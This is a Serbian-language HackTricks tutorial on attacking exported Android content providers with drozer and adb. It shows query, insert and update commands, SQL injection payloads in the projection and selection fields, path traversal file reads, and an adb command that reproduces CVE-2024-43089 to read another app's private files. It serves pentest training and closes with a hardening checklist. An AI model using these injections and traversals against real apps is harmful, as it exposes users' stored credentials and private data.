Exploiting Content Providers

Reading time: 7 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Intro

Podaci se dostavljaju iz jedne aplikacije u druge na zahtev od strane komponente poznate kao content provider. Ovi zahtevi se upravljaju putem metoda ContentResolver klase. Content provider-i mogu čuvati svoje podatke na različitim mestima, kao što su baza podataka, fajlovi ili preko mreže.

U Manifest.xml datoteci, deklaracija content provider-a je obavezna. Na primer:

xml
<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider>

Da biste pristupili content://com.mwr.example.sieve.DBContentProvider/Keys, potrebna je dozvola READ_KEYS. Zanimljivo je napomenuti da je putanja /Keys/ dostupna u sledećem odeljku, koji nije zaštićen zbog greške programera, koji je osigurao /Keys ali je deklarisao /Keys/.

Možda možete pristupiti privatnim podacima ili iskoristiti neku ranjivost (SQL Injection ili Path Traversal).

Dobijanje informacija iz izloženih sadržajnih provajdera

dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False

Moguće je sastaviti kako doći do DBContentProvider tako što se URI-ji započinju sa “content://”. Ovaj pristup se zasniva na uvidima dobijenim korišćenjem Drozer-a, gde su ključne informacije bile locirane u /Keys direktorijumu.

Drozer može pogoditi i isprobati nekoliko URI-ja:

dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

Trebalo bi da proverite ContentProvider kod da biste tražili upite:

Takođe, ako ne možete pronaći pune upite, možete proveriti koja imena su deklarisana od strane ContentProvider-a u onCreate metodi:

Upit će biti kao: content://name.of.package.class/declared_name

Content Providers sa podrškom za bazu podataka

Verovatno se većina Content Providers koristi kao interfejs za bazu podataka. Stoga, ako možete da mu pristupite, mogli biste da izvučete, ažurirate, umetnete i obrišete informacije.
Proverite da li možete da pristupite osetljivim informacijama ili pokušajte da ih promenite da biste obišli mehanizme autorizacije.

Kada proveravate kod Content Provider-a, pazite takođe na funkcije nazvane kao: query, insert, update i delete:

Jer ćete moći da ih pozovete

Upit sadržaja

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: incognitoguy50@gmail.com

Insert content

Upitom u bazu podataka saznaćete ime kolona, zatim, moći ćete da ubacite podatke u DB:

Napomena da u insert i update možete koristiti --string da označite string, --double da označite double, --float, --integer, --long, --short, --boolean

Update content

Poznavajući ime kolona, takođe možete modifikovati unose:

Delete content

SQL Injection

Jednostavno je testirati SQL injection (SQLite) manipulisanjem projekcijom i poljima selekcije koja se prosleđuju provajderu sadržaja.
Kada upitujete Content Provider, postoje 2 zanimljiva argumenta za pretragu informacija: --selection i --projection:

Možete pokušati da zloupotrebite ove parametre da testirate za SQL injekcije:

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
FROM SQLITE_MASTER WHERE type='table';--"
| type  | name             | tbl_name         | rootpage | sql              |
| table | android_metadata | android_metadata | 3        | CREATE TABLE ... |
| table | Passwords        | Passwords        | 4        | CREATE TABLE ... |

Automatsko otkrivanje SQLInjection-a pomoću Drozera

dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

dz> run scanner.provider.sqltables -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
android_metadata
notes
sqlite_sequence

Content Providers zasnovani na fajl sistemu

Content providers se takođe mogu koristiti za pristup fajlovima:

Čitaj fajl

Možete čitati fajlove iz Content Provider-a

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1            localhost

Putanja Prelaz

Ako možete pristupiti datotekama, možete pokušati da zloupotrebite Putanju Prelaz (u ovom slučaju to nije neophodno, ali možete pokušati da koristite "../" i slične trikove).

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1            localhost

Automatsko otkrivanje putanje prolaza od strane Drozer

dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider

2023-2025 Ažuriranja & Moderni Saveti

Drozer 3.x (Python 3) je dostupan

WithSecure je obnovio održavanje drozer-a 2022. godine i portovao framework na Python 3 (najnovija 3.1.0 – april 2024). Pored ispravki kompatibilnosti, novi moduli koji su posebno korisni prilikom rada sa Content Providers uključuju:

  • scanner.provider.exported – lista samo provajdera sa android:exported="true".
  • app.provider.grant – automatski poziva grantUriPermission() tako da možete komunicirati sa provajderima koji očekuju FLAG_GRANT_READ_URI_PERMISSION / FLAG_GRANT_WRITE_URI_PERMISSION na Android 12+.
  • Bolje upravljanje Scoped Storage tako da provajderi zasnovani na fajlovima na Android 11+ i dalje mogu biti dostupni.

Ažurirajte (host & agent):

bash
pipx install --force "git+https://github.com/WithSecureLabs/drozer@v3.1.0"
adb install drozer-agent-3.1.0.apk

Korišćenje ugrađenog cmd content pomoćnika (ADB ≥ 8.0)

Uređaji sa modernim Android operativnim sistemom dolaze sa CLI-jem koji može da upita/aktualizuje provajdere bez instaliranja bilo kakvog agenta:

bash
adb shell cmd content query  --uri content://com.test.provider/items/
adb shell cmd content update --uri content://com.test.provider/items/1 \
--bind price:d:1337
adb shell cmd content call   --uri content://com.test.provider  \
--method evilMethod --arg 'foo'

Kombinujte sa run-as <pkg> ili sa rootovanim shell-om da testirate interne provajdere.

Nedavne stvarne CVE koje su zloupotrebile Content Providers

CVEGodinaKomponentaKlasa greškeUticaj
CVE-2024-430892024MediaProviderPutanja prelazPročitajte proizvoljnu datoteku iz privatne memorije bilo koje aplikacije
CVE-2023-356702023MediaProviderPutanja prelazOtkriće informacija

Ponovo kreirajte CVE-2024-43089 na ranjivoj verziji:

bash
adb shell cmd content read \
--uri content://media/external_primary/file/../../data/data/com.target/shared_prefs/foo.xml

Lista provere za jačanje API 30+

  • Deklarisati android:exported="false" osim ako provajder mora biti javan – od API 31 atribut je obavezan.
  • Sprovoditi dozvole i/ili android:grantUriPermissions="true" umesto izlaganja celog provajdera.
  • Na belu listu staviti dozvoljene projection, selection i sortOrder argumente (npr. graditi upite sa SQLiteQueryBuilder.setProjectionMap).
  • U openFile() kanonizovati traženi put (FileUtils) i odbaciti .. sekvence kako bi se sprečilo pretraživanje.
  • Kada izlažete datoteke, preferirati Storage Access Framework ili FileProvider.

Ove promene u novijim verzijama Androida znače da mnoge legacijske eksploatacione primitivne metode i dalje funkcionišu, ali zahtevaju dodatne zastavice/dozvole koje ažurirani drozer moduli ili cmd content pomoćnik mogu automatski primeniti.

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks